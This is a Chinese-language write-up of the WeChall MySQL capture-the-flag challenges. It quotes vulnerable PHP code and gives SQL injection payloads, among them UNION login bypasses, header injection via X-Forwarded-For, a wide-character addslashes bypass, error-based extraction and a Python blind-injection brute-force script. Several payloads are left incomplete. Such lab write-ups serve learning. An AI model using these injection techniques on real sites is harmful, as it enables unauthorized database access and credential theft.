WeChall mysql WriteUp
題目連結:http://www.wechall.net/challs/MySQL/by/chall_score/ASC/page-1
1.No Escape
首先閱讀源碼,比較簡單,就是隻要有一個人的票數到達111了,那麼就成功了,但是每當一個人的票數超過100時就會被重置。然後此處注入參數為vote_for,另外還有就是兩個過濾,核心代碼就在下面:
if ( (stripos($who, 'id') !== false) || (strpos($who, '/') !== false) ) {
echo GWF_HTML::error('No Escape', 'Please do not mess with the id. It would break the challenge for others', false);
return;
}
$db = noesc_db();
$who = mysql_real_escape_string($who);
$query = "UPDATE noescvotes SET `$who`=`$who`+1 WHERE id=1";
if (false !== $db->queryWrite($query)) {
echo GWF_HTML::message('No Escape', 'Vote counted for '.GWF_HTML::display($who), false);
}
noesc_stop100();
觀察發現過濾似乎并沒有什麼卵用,因為在更新語句中根本沒用單引号,隻用了`符号,那麼直接構造如下的payload就好了:
?vote_for=bill`=--+
2. Training: MySQL I
這道題沒啥可說的,最簡單的SQLI,跳過
3.Training: MySQL II
這道題把密碼和使用者名分開來驗證了,使用者名查詢處毫無過濾,核心檢驗代碼如下:
$password = md5($password);
$query = "SELECT * FROM users WHERE username='$username'";
if (false === ($result = $db->queryFirst($query))) {
echo GWF_HTML::error('Auth2', $chall->lang('err_unknown'), false);
return false;
}
#############################
### This is the new check ###
if ($result['password'] !== $password) {
echo GWF_HTML::error('Auth2', $chall->lang('err_password'), false);
return false;
} # End of the new code ###
#############################
很容易知道,用union構造查詢就可以繞過了,如下:
username=123' union select ,'admin',md5('password');#
&password=password
&login=Login
4.The Guestbook
首先看代碼,看個大概之後直接分析核心代碼:
$playerid = gbook_playerID(true);// Current Player
$userid = ;#guestbook has no login yet.
$time = time();
$ip = gbook_getIP();
$message = mysql_real_escape_string($message);
$query = "INSERT INTO gbook_book VALUES('$playerid', $userid, $time, '$ip', '$message')";
if (false === $db->queryWrite($query)) {
echo GWF_HTML::err('ERR_DATABASE', array(__FILE__, __LINE__));
return false;
}
message就是我們在留言闆所輸入的部分,觀察之後發現,它被過濾了,寬字元在這裡是無法繞過的,然後就應該找找别的注入點,之後看到gbook_getIP()函數如下定義:
function gbook_getIP()
{
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
return $_SERVER['HTTP_X_FORWARDED_FOR'];
}
elseif (isset($_SERVER['HTTP_VIA'])) {
return $_SERVER['HTTP_VIA'];
}
else {
return $_SERVER['REMOTE_ADDR'];
}
}
這裡直接擷取了請求頭中X_FORWARDED_FOR,是以我們隻需要僞造一個帶有X_FORWARDED_FOR的請求就可以完成注入了,burpsuite抓包之後選擇對應的包然後構造如下:

用repeater加上
之後得到admin的密碼:
TheBrownFoxAndTheLazyDog
5.Blinded by the light
希望有大神能夠幫幫我這道題,這道題是一個腳本爆破的題目,直接暴力枚舉密碼,然後由于代碼中有次數限制,是以我們這裡采用的是二分枚舉,但是我這裡遇到一個問題,就是我每次遞交請求時候,它都預設為我是第一次嘗試,然後密碼就肯定不對,不知道怎麼解決。。。求大神相助這道題。我的代碼如下:
import requests
import re
url = 'http://www.wechall.net/challenge/blind_light/index.php'
r=requests.session()
s=r.get(url)
word="0123456789ABCDEF"
password=""
for i in range(,):
start=
end=
while(start<end):
mid=(start+end)/
#print word[mid]
header={'COOKIE':'WC=8800431-0-BFaTupbuIbCgudW1;'}
if(end-start==):
param = "\' or substring(password,"+str(i)+",1)>\'"+word[start]+"\'#"
payload={'injection':param,'inject':"Inject"}
result=r.post(url,data=payload,headers=header)
content=result.text
print content
if 'Welcome back' in content:
start=end
break
else:
end=start
break
else:
param = "\' or substring(password,"+str(i)+",1)<\'"+word[mid]+"\'#"
payload={'injection':param,'inject':"Inject"}
result=r.post(url,data=payload,headers=header)
content=result.text
#print content.encode('utf-8')
print content
pattern = re.compile(r'This was your(.*?)attempt',re.S)
items=[]
items = re.findall(pattern,content)
print items
if 'Welcome back' in content:
end=mid
else:
start=mid
password=password+word[start]
print password
header={'COOKIE':'WC=8800431-0-BFaTupbuIbCgudW1;'}
payload={'thehash':password,'mybutton':"Enter"}
result=r.post(url,data=payload,headers=header)
6.addslashes
源代碼就不貼了,核心就是一個典型的寬字元注入的問題。
要求就是用”Admin”登入,關鍵在于它還并沒有對password進行檢驗,這樣子,直接構造繞過addslashes()函數就可以了。但是這裡我遇到一個特别神奇的問題,如下,我使用的是火狐的插件hackerbar,然後下圖的輸入就可以過
然後問題來了,我在輸入框裡面輸入
使用者名:%C0'+union+select+CHAR(,,,,)#
密碼:
就沒辦法登入了,實在沒有明白二者差距在哪裡,看出來的大神求解釋下呗。。。
7.MD5.SALT
這次終于沒有源代碼可以看了,根據提示的Hint說是資料庫的表名叫做”users”,這個提示非常重要啊,我們再試試輸入框,發現似乎并沒有過濾,直接單引号就可以插入我們自己的查詢語句了,應該是目前來說的最簡單的題目了。
嘗試了幾次之後直接構造如下:
' and 1=2 union select password, from users where username="Admin"#
PS:它會回顯select的第一個字段,由此來爆密碼
然後從回顯裡面看出密碼的MD5值是215c61d0104f8925b5f7e4e87a7cbdfa,查了查竟然要我付費,作為屌絲我當然不答應啦,是以就這樣吧
9.Table Names
先在username裡直接試試最簡單的
發現有點作用,于是判斷隻是單純的單引号。題目要求的我們把庫名和表名爆出來,是以我們先開始嘗試報錯注入,
然後琢磨一下,直接開始爆庫名和表名就可以了
得到庫名是gizmore_tableu61
是以繼續吧所有表名都爆出來呗
由此即得到正确的表名為usertableus4
是以最後的答案就是gizmore_tableu61_usertableus4
Table Names II
看源碼,重點就是下面的過濾:
if (preg_match('/statistics|tables|columns|table_constraints|key_column_usage|partitions|schema_privileges|schemata|database|schema\(\)/i', $username.$password))
{
echo GWF_HTML::error(GWF_PAGE_TITLE, $chall->lang('on_match'));
}
然後簡單測試了一下,
如下的payload是可以執行的:
然後來構造一下語句把,觀察下,發現很多我們暴庫需要的關鍵字都被過濾了。但是關鍵的庫
information_schema
是沒有被過濾的,然後就想辦法爆東西吧。
這裡我們有一個比較常用的語句:
通過這個最起碼可以看到庫名,而這個語句主要是
information_schema
庫中的一個叫做
proccesslist
表的内容,那麼我們也可以來嘗試一下爆出它的内容即可,
下圖是本機實測的截圖:
挨個兒爆内容,最後有效的payload如下:
觀察發現庫名和表名都出來了,是以最後結果就是
nurfedtables37.userbobbytable7
Order By Query
這個觀察源碼發現注入點位于
order by
,那麼就隻有兩種方法可行,一種是直接街上and構造雙查詢語句,第二種是在
DESC/ASC
後打上
,
号,然後再接上下一個
select
語句。
但是這裡我們看到源碼中的關鍵句子如下:
$query = "SELECT * FROM users ORDER BY $orderby $dir LIMIT 10";
而$dir就是
DESC/ASC
中的某一個,然後加上它會傳回錯誤資訊,是以就确定了就是報錯注入了。這裡報錯注入有好幾種方法,我用的是以下的語句:
上述句子中
CHAR(65, 100, 109, 105, 110)
就是
Admin
,因為要爆出
Admin
的密碼,直接加上限定就好了。結果截圖如下:
這個MD5就是最後的答案:
C3CBEB0C8ADC66F2922C65E7784BE14
這裡最開始我遇到一個比較蠢的問題,最開始我的語句如下:
自作多情的多用的了一個concat來連接配接答案,結果報錯出的MD5值如圖:
即:
\3C3CBEB0C8ADC66F2922C65E7784BE1
而我怎麼送出都是錯的,後來才發現這個MD5值隻有31位,然後我就意識到還有一位沒有顯示出來,因為這裡預設隻顯示32位,而我的多此一舉導緻最開始的
\
符号占用了一位,是以答案的最後一位就沒出來,這種問題還是一定要少犯一點的好,免得白白耽擱時間。
12.Light in the Darkness
這裡是一道報錯注入。
報錯注入我個人常用的兩種,
ExtractValue
和
floor
。
不過這裡我們看看它給的核心代碼:
function blightVuln($password)
{
# Do not mess with other sessions!
if ( (strpos($password, '/*') !== false) || (stripos($password, 'blight') !== false) )
{
return false;
}
$db = blightDB();
$sessid = GWF_Session::getSessSID();
$query = "SELECT 1 FROM (SELECT password FROM blight WHERE sessid=$sessid) b WHERE password='$password'";
return $db->queryFirst($query) !== false;
}
這裡他把表名
blight
過濾了,也是比較蛋疼的,因為我們要通過
ExtractValue
爆出資料,那麼我們就一定需要輸入表名的,是以我們果斷摒棄這個,選擇通過’floor’來報錯,原理這裡我都不再贅述,不知道的可以私信我。因為主查詢裡面有了表名那麼我們就在構造的時候就可以避開它,直接給上paylaod